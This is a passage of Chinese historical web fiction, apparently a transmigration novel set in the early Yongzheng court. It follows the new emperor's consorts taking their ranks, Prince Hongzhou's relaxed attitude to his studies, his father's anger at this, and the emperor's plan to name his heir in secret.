若是在年少的时候四爷还对额娘有些不切实际的期待的话,这个年纪他早就将这些期待转换为了冷漠。特别是现在,听到清凝流产的那一刻,四爷心中简直要抑制不住地冒出怨恨了。 德妃翻了翻眼皮,因为年氏的流产有些气短:“你打算如何待你十四弟?” “这话不是该问额娘吗?”四爷冷笑了一声,“额娘想我如何待他?” “你都能封十三为亲王,”德妃紧紧盯着四爷,“如何不能待十四与十三相同?” 四爷几乎要冷笑出声了,待十三和十四相同。十三自幼便听话,这些年来一直唯自己这个兄长马首是瞻,但十四呢?自幼和自己做对的十四,在朝堂上算计了不知道多少次自己的十四。 “额娘,”四爷有些失了耐心,他前面要忙的事情太多了,“额娘想让十四弟好好的,最好还是乖觉些。儿子自然是拗不过额娘的,额娘若不愿进饭食,那儿子就只能带着十四弟一家子同额娘一起不进饭食了。” “额娘若是不愿迁宫,那就让十四弟一家子来陪着你在永和宫住,至于十四,便去给皇玛法守灵。”四爷声音冰若寒蝉,“当然了,额娘若是怨怪儿子不孝,那儿子也能带着十四弟的一家子去找汗阿玛会合,到时候叫汗阿玛来评这个理。” 忤逆不孝是极大的罪名,若是在现在这个时局,德妃的口中说出了这样的话,那他这段时间的忙碌再加上一倍都难稳住朝局。 “你,”德妃指着他的手微微颤抖,“你这是在威胁我?” “若额娘要这样想,那儿子也无法。”四爷淡淡说道,“还请额娘好好想想,儿子还有事要忙,便先告退了。” 说罢,四爷甩着袖子就走了出去,只留下了德妃颤抖着手指着四爷。 这日过后,德妃便不再绝食了,也随着福晋的安排住到了慈宁宫中。 等前朝的事情不再那么忙碌之后,福晋便带着一碗鸡汤去了养心殿想要问问后院的这些女子们应当如何封位。 最后四爷和福晋商量定下了,年侧福晋封贵妃居翊坤宫,李侧福晋封妃,赐封号齐,居延禧宫。钮祜禄氏封妃,赐封号熹,居景仁宫。耿氏封嫔,封号裕,居钟粹宫。宋氏封嫔,赐封号懋,居咸福宫。其余的格格侍妾则根据情况封贵人常在,居在各个宫殿的偏殿。 现在只是下了圣旨,册封礼估摸着要等四爷不大忙的时候再慢慢来。不过圣旨已下,各家便能收拾东西搬到居住的宫殿中了。 后院的女眷们搬到了各个宫殿中,而阿哥们也都搬到了自己该去的地方。除了六阿哥福惠年纪太小了还跟着年贵妃一起住,弘昼和弘时都搬到了阿哥所。 其中弘历则依旧住在毓庆宫中,四爷并未让他搬出这个寓意特殊的宫殿。 弘昼这几年间本来就在阿哥所住着,现在搬过来也不过是将雍亲王府中一些东西挪到阿哥了,倒是没什么不适应的。 弘时要搬的东西就多了,他已经成婚了,前两年还有了个孩子,不过这个孩子没养住,他这次要搬的除了他自己外还有他的福晋以及后院的侍妾。 这么多人加上东西,搬起来其实颇为头疼,但好在内务府现在正是巴结众位新鲜上位的皇子们的时候,所以事情办的是既快又漂亮。 让弘昼还感叹了一下,在宫里这么多年还是第一次感受到内务府的热情。 第93章 努力的方向 之前弘昼也是一直住在宫中的,宫中对于这位雍亲王府出来的小阿哥自然也是不敢亏欠的,但也仅止于此了。 和其余的皇孙们相比起来弘昼的待遇一直不差,但这也只是不敢克扣,而现在则变成了巴结讨好。一下子似乎所有的地方都有人替你先想好了,在你发现这个小小的困难之前,便有人将它摆平了。 而这个摆平的人是不会来你面前将这件事大肆宣扬的,他只会悄悄地,小心的提及一两句,很怕拍马屁拍到了马腿。摆出并不是需要回报的姿态,而只是想要为主子着想的模样,将这样地讨好润物细无声融入到你的身边。 同时弘昼的院子增了不少的人,本来雍正的意思是让弘昼搬到更大的院子去。虽说也都是在阿哥所,但还有更大的能选,至于原本住在那里的皇孙,当然是搬走了。 而弘昼就有点懒得动了,在这个院子住习惯了,他一个人住在这里也不算拥挤,便不想要折腾这一番。而他能推辞大的院子,却不能辞去那些被内务府派过来的人。 他如今身边伺候的人不多,按照规矩他的院子中是缺了不少人的。连小周子都当不得在他身边近身伺候,要换个更为聪慧机灵些的两个人才是。 但弘昼这几年来和小周子磨合得差不多了,也不想再去挑近身伺候的人。便定了小周子留下,同时选了两个老成些的嬷嬷帮他管着院子的宫女太监们。 没有规矩不成方圆,他可不想自己的院子一点规矩也没有,到时候被人钻了空子。只要好好定下规矩,一切按照规章制度走,不要随意欺凌人就行了。 等这些操心的事情都做完后,这一年已经翻过,年号在今年改为了雍正。 今年的宫宴办得格外的盛大,这是为了贺新皇登基。这位新皇的手段刚硬,曾被先帝誉为坚刚不可夺其志。原本在这位还是雍亲王的时候,便有不少朝臣就已经体会到了,现在这位成了最顶头的那位上司后,所有朝臣都体会到了。 这位极其勤政,原本先帝就已经很是勤勉了,但这位更是称得上是事事都要过问。特别是年刚过完,正月十五都还没出,就已经连下十一道圣旨训谕督抚以下的官员,定下了不少的规矩。因为钱粮积弊问题太多,还专门设会考府想要查出缘由以及贪墨的人来。还有不许上三旗在职官员在诸王门下行走若被查实,一律革职。 这三件事同时砸下来,京里京外的官员都忙碌了起来。 在京的官员,谁又能说没有和哪位亲王郡王有点什么七七八八的关系呢?这些王爷们在京,特别是先帝的子嗣们之前争了十几二十年,京中但凡有点名望的官员都被拉拢过了。 要知道想要保持中立可是一件极为不容易的事情,你一个京城的官员,你说皇子专门下帖子请你去喝茶你去不去?若是不去,岂不是不给皇子面子。但你若是去了,可就要听到些拉拢的话了,在你未定下归属之前,拉拢的帖子会源源不断的前来,你能推拒一次,还能拒三次四次吗?若当真全都拒了,这样不给面子,可就不要怪人家给你使绊子了。 这个困境几乎笼罩着京城里所有稍微有些地位的官员们,能保持一点不沾染的少之又少,那是极为聪慧或者格外边缘的人才能做到的事情。 现在这不许行走,让廉亲王也就是八爷手底下走了不少人。 在雍正上位之后,八爷手下就走了不少人,这些是与他干系不深的。新帝就算清算到,多半也不是什么要家破人亡的大过错,最多也就是降职贬斥之类的,这些当然不算好下场,但一比较那些直接贬为庶人更有甚者流放砍头的,便觉得这个下场也不错了。而有些绑定得太深了,一时是走脱不开的,甚至有些是给新帝或者如今的怡亲王使过绊子的。 而现在这条规矩下来,八爷手底下的官员就开始慌了。这正月还未过,雍正便一气儿撸下来了七八个八爷手底下的官员,换上了他自己手上的人。 这些事情暂时是和弘昼没什么关系的,毕竟他年纪还不到能上朝的时候。唯一一个年纪到了能上朝的弘时,在雍正刚上位时便派了人看着弘时的一举一动。现在他不能随意将弘时这个长子禁足,但又实在怕这个倒霉孩子在现在给他找事。 弘历也回到了上书房念书,他虽然住在毓庆宫,但年纪还不到能办差事的时候,雍正现在前朝忙得都不去后宫了,自然没空指点他什么,便将他派回了上书房。 弘昼这段日子过得很是愉快,四哥回来了每天上下学有伴了很愉快,阿玛最近忙得没时间关注他们就更愉快了。 因为身份的转变,现在上书房的众人对于弘昼的态度也自然而然地变化了。 其中最为明显的是弘旷,即便是弘历被选到康熙身边的时候,弘旷都会时不时地阴阳弘昼一两句。但现在他把自己当成了哑巴,除了见到弘昼时会按照规矩行礼外,在弘昼面前绝对一句话不多说。 虽说雍正没时间来看着孩子们,但他还是记得给弘昼还有弘历另外指了先生的。之前的先生也不是不好,不过他要同时给五个人一同授课,现在指的先生便只需要操心弘昼和弘历了。 皇子们有单独的屋子念书,要离开同窗多年的弘曈还有弘暻,弘昼是有点舍不得了。离开了他们还有谁会在自己因为功课抠脑袋的时候给自己帮助,还有上课偶尔想要说小话都没人了。 四哥是决计不会在课上和自己说小话的,若是从前的弘历尚有一点这个可能的话,那现在的弘历是一丁点可能都没有了。 自从被挑选到康熙身边后,弘历整个人都沉稳了下来。即便现在被送回上书房念书,但它周围依旧保持着沉稳的气息。 弘历有时候转过头看看自家四哥,心中想着皇玛法身边到底是有多锻炼人,让原本还算开朗的四哥现在几乎不咋说废话了。 “看着我做什么?”被盯了好一会儿的弘历终于忍不住转过头来看着弘昼。 方才先生刚给他们讲了课,现在正是留了时间让他们自己温习的时候。 对于弘昼来讲,先生留下的这个温习时间。他经常会用来写大字,或者写一些先生留下的文章作业之类的。 反正是不会用来温习的。 但对于弘历来说,他会很听话的依照先生的吩咐,乖乖地温习着刚刚讲的那一段内容。如果不是被五弟盯太久了,他现在还看着书呢。 “看你似乎变了些。”弘历用手撑着自己的下巴说道。 弘历收回了自己的目光,声音淡淡的:“哪儿变了?” “就是这个感觉,”弘昼坐正了身子,“就是这样说话淡淡的感觉,四哥,你没发现你现在说话都没什么情绪吗?” 弘历又将目光看向了弘昼,眼神中透露出了无奈:“汗阿玛虽说现在这段日子很忙,但隔三岔五还是要叫咱们的先生过去问问咱们学得如何的。” 言下之意,你不怕被先生告状吗? 弘昼挺了一下自己的胸膛说道:“先生教的我都学会了,自然不怕他告状的。” “学会了,但不精是吧?”弘历拆台。 “你别管我精不精吧,就问我会不会。” 弘历投降了:“你是会了,可是若汗阿玛想起来将我们叫去考校的话,你这点学问是过不了关的。” 雍正登基后孩子们就要改口叫汗阿玛了,弘历适应得很快,但弘昼有时候却会忘了这个称呼,直接叫阿玛。不过现在都是私底下叫叫,雍正这段日子忙得没时间找自己儿子的麻烦,弘昼也就并没有在他面前叫错过。 “过不了就过不了吧,”弘昼很摆烂,“我又称不上不学无术,先生教的也都学了。” 弘历看着弘昼的眼神有点复杂,他们从前只是雍亲王府中的小阿哥时,便会有些不怀好意地来他们面前提及阿玛立世子的事情。 不过那时候前面有个弘时,其余人也都不大清楚当时的雍亲王对这个长子的态度,虽然在他们面前挑拨,但多少也有个度。但自从雍正登基后,瞧着他对这个长子的态度并不算重视,又见他依旧住在毓庆宫中,于是来弘历面前明示暗示储君之位的便多了。 甚至于他还没有上朝开始办差事,便有人想要投效到他门下。若是将来能搏一个从龙之功,那现在隆科多家中还有年家的风光是不是他们来日也能获得。 弘历不信有人在自己面前提这些,会没有人在弘昼面前提。但他瞧着不论是学习还是对自己的态度都一如既往,让弘历心中略微异样。 成为皇子对自己影响似乎是很大的,但对于五弟的影响似乎并不大。他瞧着还是当雍亲王府小阿哥时的模样,甚至因为没有考封的压力,更加轻松了些。 “四哥,你怎么这样瞧我?”被四哥一直盯着,弘昼摸了摸自己的脑袋。 弘历摇了摇头说道:“我只是在想,汗阿玛说过几日就要给我们选哈哈珠子了。” “哈哈珠子,”弘昼说道,“像二十二叔他们身边的那些人一样?” 康熙这位皇上实在能生,上书房中如今还有四位他的儿子,其中有两位甚至比弘昼还要小上几岁。 弘历点了点头:“说是过来陪着我们念书的。” 弘昼撇嘴:“是来代替我们挨打的吧。” 上书房的先生们是有训诫的权利的,不过他们一般只会训斥,并不是当真拿着戒尺打人。而有时候皇子们犯了较严重的错误时,便需要责罚他身边的哈哈珠子来叫他警醒。 弘昼是在上书房见过胤祎的哈哈珠子挨打的,那时候他刚进上书房还不到一年,给了他一个大大的震撼。 “我们都已经十一岁了,”弘昼想要讨价还价,“我瞧其他皇叔的哈哈珠子都是六岁就跟着他们的,我们这没几年就不来念书了,干脆不要得了。” “这可由不得你了,”弘历的嘴角逸出了一点笑,看着弘昼露出为难的样子他便心情好了点,“你要和汗阿玛去商量才行。” 弘昼扁着嘴不说话了,他上次见到阿玛还是宫宴时候呢,听闻阿玛最近忙得都没去翊坤宫见年贵妃和六弟了,哪来的时间见他。 本来以为至少要过了正月到二三月的时候雍正才会有空见他们,但让弘昼没想到的是,雍正比想象中更为重视两个孩子的教育问题,过了两三天就召见了他们。 “儿臣参见汗阿玛。”弘历见到雍正时肃着脸,一丝不苟地行礼。 弘昼也跟着一起行礼,从前对着皇玛法行这样的礼,现在对着阿玛行这样的礼。 阿玛的脸色不大好看,他面色微白,眼底带着浓重的青黑,一看就知道熬了好几个大夜。但周身的气质更为摄人了,原本就不怒自威的气势变得更深沉了些,让人一见就忍不住想要低头,仿佛一柄刚刚出鞘的利刃。 雍正这些日子办了不少的事情,有些朝臣还算听话,但老八他们还是没有放弃给他找不自在,让他最近过得也不算很舒坦。 但看见这两个精神抖擞的孩子,雍正的心情又变好了。 他自觉不论是弘昼还是弘历,都不比老八家中的弘旺差。再一想到他是这场旷日持久政斗中的胜利者,而他的儿子们瞧着也比弘旺更胜一筹,这样的想法让他脸上不自觉地就出现了一点慈爱的笑。 招了招手,将他们唤到了身前来,细细问了问搬到宫里头的生活。 见两个孩子都答好,雍正笑了笑开始考校学问。 弘历答得很好,雍正指过去的先生学问本身就很好,不然也不会被这位吹毛求疵的君王指过去给自己儿子教学。而弘历本身也努力,便让雍正有点小惊讶,弘历的进步太过明显了。 相比之下,弘昼就答得马马虎虎了。从答案能听出来他其实是学了的,但看着似乎并没有学进去太多,就让雍正原本露出的笑意微微收敛了起来。 于是又考校了弘昼几个问题,发现这个儿子提的问题都能答出来,但是又答得不全面。若说他错了也不是,但就是能瞧出并未下了苦功夫去研读。 “最近念书可是懈怠了?”雍正的脸上没了笑意,看着弘昼的神情带上了点他面对不听话朝臣时的严酷。 弘历有点不安地微微抬头,已经想好等会儿应该怎么给五弟打圆场了。 雍正并未给弘昼说话的机会,便训斥了他好几句,觉得正是因为自己最近太忙了,没时间管这两个小子,才让弘昼找到了机会偷懒的。从前每月都要考校的时候,弘昼念书念得可很是不错。 弘昼被训斥也不难过,等雍正挥挥手让他们出去的时候,心里正思索着回阿哥所了该吃点什么。 现在他可以直接点菜而不用多花银子了,甚至是直接吃到御膳房的菜。虽说雍正没有抽出时间来看顾两个孩子,但他用膳有时会想起还有两个在上书房念书的儿子,便会大手一挥给他们加一个菜。 弘昼的沉默让弘历误会了,他迟疑片刻后安慰道:“不要紧的,只要你能下功夫念书,想来下次汗阿玛就不会责骂你了,会夸奖你的。” 弘昼从脑海中一连串的点心里分出心神来,疑惑:“四哥你在说什么?” 仔细看了看弘昼的脸色,见他一点也没有被责骂的悲伤。这让弘历完全明白自己是想多了,只能无奈摇了摇头:“越发没脸没皮了。” “怎么了,”弘昼委屈,“汗阿玛刚刚都已经骂过我了,出来了你还要骂我。” “你若念书的时候能有你想点心的时候认真,汗阿玛便不会骂你了。”弘历慢条斯理说道。 念书和点心怎么可以同日而语,弘昼撇了撇嘴。而且他觉得他念书并不算不认真,先生讲的东西都是学了的,只是不愿意课外拓展而已。 现在已经有人想要过来烧弘昼这口热灶了,但他一想到自己和四哥有可能会变成阿玛和八叔的样子就浑身难受。加上他从小时候起就不喜欢争抢,只要不犯到他的头上来,他就并不想去乌眼鸡似的抢一样东西。 特别是看到阿玛上位之后忙得每天睡觉的时间都要减半后,摆烂的想法就更加强烈了。感觉自家阿玛这么忙,每天都埋在折子堆里,除了抽时间去给太后请安外,没有一点娱乐活动。 特别是这个娱乐活动的中心人物——太后还很不待见自家阿玛,就更显得这一天格外无望了。 想想整日里批折子,然后和朝臣勾心斗角一下,再克服几个八叔他们使过来的绊子,然后去太后那里挨骂。弘昼觉得这样的日子想一想就很是绝望了,他是一点也不想体验的。 特别是之前他认真念书一直都是想着成年后去考封,好在阿玛挂了之后自己能有个过得去的爵位领一份禄米。然后再根据学的本领,领上一点差事,可能就会再多添一份禄米,可以将额娘接出来单过。 而现在弘昼身为皇子,特别是自家阿玛并不像皇玛法一样有十几个皇子,他只有四个儿子。就导致了阿玛以后给爵位不会特别吝啬,弘昼最低也能混个郡王的爵位。 想到这个既定的未来,弘昼就有点不知道自己努力的方向了。 第94章 秘密立储法 有了这样的想法之后,弘昼在念书的时候付出的心力自然就少了起来。不过他并不是个想给先生找麻烦的学生,于是便在先生教的时候也会跟着好好学,但想要让他课下再自己努力可就不能了。 搬到宫里来之后,耿执羽就彻底不在意弘昼念书如何了。 从前总担心这个孩子生得年幼,自己这个额娘身份又不高,怕是承袭不到爵位,是以才想让弘昼自己努力些去考封。但如今,孩子的阿玛都已经登上皇位了,日后这个孩子的前程自然不需要她来操心了。 难不成还担心皇上会舍不得给孩子一个王爵吗? 她一直都是个很知足的人,对于弘昼的期待也多是希望孩子能健康平安长大,最好快乐一生。从前都不曾过分教导弘昼努力,现在自然更不肯去叫弘昼卷起来了。 阿玛那边忙着,没什么时间来管他,先生又只能敢怒不敢言,于是弘昼彻底没了努力的压力。在上书房里,悠悠然地念书,甚至觉得比之前几年都还要轻松些。 这样的学习态度让先生很在意,这位先生从前是不在上书房内教皇子皇孙们念书的。这次被皇上一上位就指到了上书房,原本是踌躇满志想要将这两位小阿哥教好了,让皇上看看自己本事的。 但过来一教,发觉四阿哥也就罢了,人聪慧又努力,他稍加点拨便能学得不错。而这位五阿哥,性子随意,人还算机灵,但就是不肯用心些念书,让他有了壮志难酬之感。 旁敲侧击几次后,还不见五阿哥努力,先生便在雍正询问的时候暗搓搓告了个状。将弘昼的学习态度一五一十说了出来,言下之意便是若是您日后发现五阿哥没学好,那可不是我教不好。 雍正收到先生告状后陷入了沉思。 弘昼其实是个还算机灵聪慧的孩子,这雍正是知道的。当年弘昼出花后要养身子,不便进宫念书,他这个阿玛是教过这孩子一阵子的。 之前在上书房中一直学得不错,怎么现在就不肯努力了呢。 有心想要和弘昼谈谈,但雍正还是过了三四天才有时间宣召弘昼到养心殿的。 这日里,弘昼还在校场上练习骑射,便见到了有小太监过来招宣他去养心殿。 念书上弘昼虽然不上心,但骑射他还是上心的。骑射约等*于锻炼身体了,身体是革命的本钱,他很惜命,自然也就对锻炼身体很上心了。 见小太监过来宣召弘昼,弘历眼里有点讶异:“汗阿玛可说是因何事吗?” 那小太监的脑袋垂着,不敢抬头,声音恭敬答道:“回四阿哥的话,奴才不知。” 如今天气还有些微凉,但弘昼在校场上运动了这一阵子还是发了汗,他接过小周子递过来的帕子将自己头上的汗擦去后问道:“现在就去吗?” “皇上吩咐五阿哥现在便去。” 好吧,阿玛的吩咐是不能装听不见的。弘昼和武师傅打了个招呼后,便跟着小太监去了养心殿。 在场的所有皇孙们都看着这一幕,弘旺嘴角略微勾起了一抹带着兴味的笑,着重看了看弘历的神情。见他面色并无变化,依旧在练习着骑射的模样,轻轻笑出了声。 也不知是真的不在意,还是装作不在意。 弘旺最近的处境不大好,虽说他阿玛八爷被封了廉亲王,但长了眼睛的都能瞧见皇上对廉亲王的态度很是一般。机灵些的已经对他敬而远之了,只有九爷还有十爷家中的孩子依旧对他态度如初。 甚至连十四爷家中的孩子都开始逐渐和他们拉开距离了,毕竟十四爷家中的孩子心中还是有点希冀的。虽说阿玛被下令留在景陵给皇玛法守灵,但皇上到底也是自家阿玛的亲兄弟,打断骨头还连着筋呢,等皇上的气消了之后,肯定就能让阿玛回来了。 雍正今日好不容易将送过来的奏折都批完了,预备着见完弘昼之后,便去翊坤宫瞧瞧年贵妃和福惠。 他已经快一个月没见到清凝了,现在一忙完便忍不住想要见见她。但弘昼的事情压在了他心中已经好几日了,趁着今天有空先将弘昼宣召过来问问想法,再训斥一通。 他当日在上书房中,念书是何等的废寝忘食。那时候兄弟好几个都在上书房中念书,他一直不曾落过下乘。甚至还有余力帮十三弟,所以此时看见弘昼念书的时候不经心不免有些恨铁不成钢。 等弘昼过来时,看见的就是一个正拿着几张纸看的雍正。 “儿臣见过汗阿玛。”弘昼行礼的姿势很端正。 雍正很是冷淡地应了一声,从案上将那几张纸扔了下来:“如何将功课做成了这样?” 弘昼捡起来一看,原来是这几日间自己交上去的功课。讲道理,虽然他的功课没有做到尽善尽美,但也是勉强能过得去的类型,实在没有到要扔下来的程度。 见弘昼没有说话,雍正恨铁不成钢:“一年之前你的功课做得要用心多了,那时候你的先生还夸过你。这才过了多久,便开始这样敷衍了事了。” 之前弘昼还有弘历在上书房念书的时候,雍正除了他们休沐的时候要领过来考校功课外,有时候还会主动去教他们的先生那里询问这两个孩子学习的情况。 他一直都很了解弘昼念书的情况,所以现在才会格外的生气。 “朱夫子有言,宽着期限,紧着课程,这念书又岂是一日之功。”雍正带着怒气说道,“你自开蒙起,念书便认真,如何这些日子便懈怠了。这一日懈怠,便浪费一日的时光,少时不念书,老来悔之晚矣。” 弘昼臊眉耷眼听着阿玛的训斥,这养心殿中的伺候的人都低下头想要降低自己的存在感。伺候了这位皇上几个月后,他们都有些害怕见到皇上生气的模样,这着实是有些吓人的。 等雍正骂够了之后,挥了挥手让伺候的人都下去后,心绪平缓了些才问道:“究竟是为何这段日子念书这样不用心了?” 此时养心殿内只有弘昼和雍正,弘昼犹豫了片刻后将自己所思所想说了出来:“阿玛,我并未不念书,只是不如之前努力罢了。之前那般用心,一来是因为宗室子弟不袭爵的日后要去内务府考封,我想靠着自己得一个辅国将军的爵位。” 而到了现在,努不努力日后的爵位都肯定要比辅国将军的爵位更大些。 后面的这一句弘昼没有说出来,因为他看见阿玛的脸一下子就红了起来——被气的。 雍正气急,抓了桌上的东西就往弘昼那里扔,被弘昼灵敏地闪避了。 “没出息,你就这点出息!”雍正扔了东西后怒道,“一个区区辅国将军的爵位就让你满意了!” 弘昼轻轻撇了撇嘴:“可是按照规矩和硕亲王格格所生之子,最高也就能考取辅国将军的爵位啊。” 他都已经给自己定了最高爵位标准了,没有定最低的呢! 雍正深吸了一口气:“难不成你就不能想着好好念书,日后立功之后升爵吗?” 见弘昼那无辜回望的眼神,雍正就知道这个没出息的儿子是的确没有想过这回事了。 “往日里也不见你这般没出息,”雍正瞪着弘昼,“这样没出息的话最好给朕呑回去,不要叫朕再听见你说出来。” 弘昼看着阿玛,觉得他的表现是没有太过生气的样子,便继续说道:“这话即便不说出来,但儿子依旧是这样想的。” 这话一出,气得雍正想要拿起桌上的镇纸砸过去。可镇纸刚拿到手里掂着这沉甸甸的重量,理智就又回到了脑中,若是这万一砸中了弘昼的脑袋,那这小子今日就没命出养心殿了。 将手中的镇纸放回去后,雍正原本的怒意也淡了点:“学如弓弩,才如箭镞。倘若不念书,日后旁人谈论经学典籍的时候,你都沾不上边。” “沾不上说明我和他们不是一路人。”弘昼很坦然,“况且儿臣并不是不念啊,先生教的都好好地学了的。” 说到这里,弘昼觉得自己有一点委屈。从刚刚进来起,阿玛说的话好像自己一点不学似的,但实际上自己只是不爱再课外拓展了,先生教的都好好地学了的。 雍正痛苦地看着弘昼,怎么往日里没有发现这个小子这样欠揍呢:“若你不好好念书,日后朕就真就只封你一个辅国将军!” “辅国将军也不错啊,”弘昼笑呵呵,“知足常乐。” 这句话把雍正气了个仰倒,他深呼吸了两下,对弘昼说道:“滚出去。” 弘昼有点委屈,但还是很守规矩地行礼告退了。阿玛怎么登上皇位后素质变差了,之前都没有让自己滚过。 和弘昼说了这一会儿话,雍正现在一点也不想去翊坤宫了,他高声叫了苏培盛进来后让人宣怡亲王进宫。 他此时带着一身的怒气,不适合去翊坤宫,弘昼的教育问题也不适合于清凝说。还是让十三弟进来吧,他想和十三弟聊聊。 等怡亲王进宫后,看到的就是雍正面前摆着一桌子的酒菜,他一杯一杯地喝着酒。 “皇上?”怡亲王有点迟疑,“这是怎么了?” 从前的时候,自家四哥有时候还会让自己去他府上喝酒。但自从四哥登基以来,一直忙着都没空,不仅是四哥忙,他也忙得脚不沾地。今日四哥怎么有兴致将他叫来喝酒了。 “不必行礼了,快过来一起喝。” 雍正招了招手,见怡亲王从善如流坐到他对面后,便顺手给他倒了杯酒。 “四哥可是遇到了什么难事?”怡亲王问道,“还是八哥他们……” 雍正摇了摇头,想起弘昼刚刚在他面前大放厥词的那些话,心中更加苦闷了,倒豆子一般将弘昼刚刚说的话都说了。 怡亲王听得目瞪口呆,从前没看出弘昼这小子是这样的性子。 “这都说儿女是父母的债,”雍正怒道,“弘时从来就不省心,从前还以为弘昼是个省心的,现在看来只有弘历是真的省心。现在弘昼便不认真念书了,日后只怕是要长成那些八旗子弟中的纨绔,整日里招猫惹狗的,瞧着就让人觉得心烦。” 怡亲王犹豫片刻后道:“这人都有擅长于不擅长的,弘昼虽不喜念书,但也一直学得还不错。加之骑马射箭学得不错,可比八旗子弟中的纨绔子弟好上不知道多少了。四哥便是不悦,也不当将他与之相提并论。” 雍正带着怒气的眸子一滞:“你怎么还为这小子说话起来了。” 怡亲王耸了耸肩:“虽说弘昼不爱念书,可他的功课可是比我家弘晈要好不少的,骑射方面也上佳。又不是不学无术之人,自然不必多加担忧了,加之……”四哥你属意的继承人又不是弘昼,对他便不必过多苛责了。 后面的这句话怡亲王没有直接说出来,而是用眼神暗示了一下自家四哥。 雍正现在的岁数也不算小了,四十六七的年纪已经不能算年轻了,是以他其实考虑过继承人这个问题的。 从现在的几个儿子中选,弘时太蠢,容易被人当枪使,若是这样一个人坐到这个位置上去,雍正就要担心到时候下去被列祖列宗骂了。而福惠年纪太小了,是贤是愚尚且看不清楚,至少要等到孩子七八岁的时候才能定论。 而除却大的弘时和小的福惠,他的选择就只有弘历和弘昼了。这两个儿子中,雍正是更为偏向弘历的,他登基之后仍然让弘历住在毓庆宫就是一个说明。 同时他作为九龙夺嫡的胜者,并不想自己的儿子以后和自己一样与兄弟们争斗不断。其实说起来,年少时他和老八的关系是很好的,比之十三也不遑多让,不过现在一切都物是人非了。 现在提起继承人这个问题似乎有点早,他刚登基不到一年。但是这件事是绕不开的,现在想起来也让他不得不忧。现在弘历弘昼两兄弟的关系极好,这日后有可能会变成自己和老八的样子吗? 一想到朝堂上自己这几个儿子可能互相攻讦的样子,雍正只觉得脑袋都开始疼了起来。这样想的话,弘昼无意大位,一心只想当个闲散宗室似乎也是个不错的选择? 怡亲王见四哥又陷入沉思,便也不开口了,陪着雍正一起喝酒。 半晌后,雍正开口:“十三弟,你觉得我若是将立储的圣旨藏于匣内,放于宫中,待我百年之后才能让人打开,这个立储的法子如何?” 第95章 太后病 “立储?”怡亲王惊愕,“四哥你何必这么早考虑这件事情呢?你如今正是春秋鼎盛之时,立储之事十年之后再议也不迟。” 雍正又喝了口酒,似乎是因为喝酒的缘故,他脑子有点不清晰:“立储的事情还是要早定下来才好,之前汗阿玛在时,我们兄弟彻底开始斗起来便是二哥被废。前车之鉴后事之师,我也实在是不想看我的儿子们因为这件事斗起来。” 最开始的时候,雍正其实并不想参与夺嫡。他那时候年纪还不大,一心想的是跟在二哥的身后,当一个裕亲王一般的人物,一个辅佐皇兄的王爷便罢了。 可是万般不由人,他后来也被推了上去和老八他们斗了起来。想起年少时与老八相谈甚欢的时光,雍正心中的复杂感便越来越多了。 现在弘历和弘昼的感情不错,以后也会走到自己和老八现在的这一步吗? “那又何必要这样秘密立储?”怡亲王还是不解,“直接下诏不好吗?” “定下了储君后,前朝后宫便不知道有多少双眼睛盯着,从前二哥年少时,谁不夸他有汗阿玛的风范,有储君的威仪。”雍正说话的时候很慢,似乎一边说一边在思考什么,“但还是被前朝后宫的这些事情逼疯了,逼得他行事越发癫狂,这才引发了……这秘密立储我便可一边观察这心中人选的行事品行,倘若不好,直接心中换了就是了,也不必行一遭废立的麻烦事,免得朝野震荡。” “况且这人生哪知有没有意外,秘密立下储君后,若有万一,便可免了朝臣们为着扶一个对自己有利的君主,而导致的朝堂倾轧。” 雍正似乎是有些醉了,说话颠来倒去的,想到一句说一句。 “四哥!”怡亲王很不高兴,“你怎么能说这样不吉利的话呢?” 雍正没有答,而是低头看着自己酒杯之中的清酒,心中已经下定了决心要将秘密立储这件事定下。 现在这四个孩子中,唯有弘历瞧着还算上进,还是得慢慢长远的瞧着。万一日后福惠长大后更为出彩些呢,清凝和自己的孩子必然不会是愚笨的,只要好好教,说不定能比他的三个哥哥更为出色。 这日之后,雍正也懒得再逼弘昼努力了。这孩子也不知怎么就变成了这副死猪不怕开水烫的模样,不愿意多学就随他去吧,到底先生教的他都学了,也不会成为那些不学无术的傻子。 察觉到汗阿玛的态度,弘昼就摆得更加心安理得了。逐渐开始恢复前几年在上书房时的作风,也就是晚去一两个时辰。 他现在只要提前在先生来之前到上书房就行了,每日里能多睡一两个时辰了呢。 弘历最开始还会为弘昼担忧一下,怕汗阿玛会将他提溜出去打板子。后来见连先生似乎都装作不知道后,便随他去了,只是心中滋味依旧复杂。 他略有些明白五弟此举代表的含义,因此心绪就更加复杂了。 说实话,对于弘历来说,若说他对最高的那个位置没有半点企图,那绝对是假话。从皇玛法命他入住毓庆宫,汗阿玛登基后也没有将他拽出来后,他和额娘都渐渐地把期望从雍亲王的爵位到了更高的地方。 三哥不足为惧,六弟年纪太小,即便有年贵妃这个出身高贵的额娘,还有那煊赫的外家,但在六弟在未长成之前都不必太过担忧。而能和他正面竞争的,也只有五弟了。 和五弟在这些方面上打得死去活来,弘历私心里觉得是不愿的。特别是看到阿玛对于十四叔的处置,让十四叔给皇玛法守灵,就让他更不愿和弘昼兄弟相残了。 现在见弘昼主动往后退了一步,他心中便对这个位置的渴望更多了一分。同时下定了决心,若他日后当真能登上这个位置,一定会好好待弘昼的,必然会比汗阿玛对十三叔更好。 也会好好待耿额娘的,一定会让耿额娘在后宫中唯独屈居于自家额娘之下。 带着这样的想法,弘历在日常生活中更照顾了弘昼些。只要他得了什么稀罕的东西,总是也忍不住要给弘昼也送一份。 内务府的人送过来的孝敬的东西,若是知道弘昼那里没有的,便要先给弘昼送去。 在弘昼发现这样特殊的照顾之前,是雍正先知道了。他在这三个长大了的儿子身边都放了人,这样的事情禀报到他面前的时候,他沉吟了半晌,更加坚定了要秘密立储的心思。 为人父母者总是盼着孩子能一团和气的,他总要试试避免日后可能会出现的兄弟相残的局面。 弘时暂且不提了,弘昼弘历这两个小子自幼便养在一起,搬到前院后也是在他眼底下养了两三年的。他们之间的感情雍正再了解不过了,他是不会像汗阿玛一样让自己的孩子反目成仇的。 于是乎弘昼的日子就更好过了,在汗阿玛都不强求的情况下,先生也琢磨出了点东西。对于这位五阿哥的学业上,便不再强求。 这也让弘昼觉得自己现在在上书房的日子好过了不少,虽然四哥是不会和自己讲小话的,但先生走后溜出去找弘曈还有弘暾玩也是不错的选择。 而且先生现在给他布置功课都少了不少,给四哥布置的功课多了许多。弘昼有时候看了两眼,觉得四哥可真不容易,上了一天课后还要写这么多的文章。 这样的日子持续了两三个月,宫中又出了一件大事。 